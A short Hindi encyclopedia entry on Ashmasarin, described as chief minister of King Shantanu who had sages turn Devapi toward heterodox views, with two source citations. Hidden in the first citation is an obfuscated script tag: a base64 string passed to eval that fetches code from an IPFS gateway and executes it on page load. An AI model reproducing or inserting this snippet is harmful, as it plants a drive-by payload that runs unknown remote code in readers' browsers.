अश्मसारिन

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अश्मसारिन महाराज शान्तनु के मुख्यमन्त्री का नाम था।[1] इन्होंने शान्तनु के बड़े भाई 'देवापि' को नास्तिक विचारों का उपदेश देने के लिए कुछ ऋषियों को आदेश दिया था, जिससे कि नास्तिक विचार आने से देवापि पतित हो जाय और बड़े भाई के रहते छोटे भाई शान्तनु को राजगद्दी पर बैठने का दोष न लगे।[2]


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टीका टिप्पणी और संदर्भ

  1. पौराणिक कोश |लेखक: राणाप्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, आज भवन, संत कबीर मार्ग, वाराणसी |पृष्ठ संख्या: 36 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. विष्णुपुराण 4.20.21

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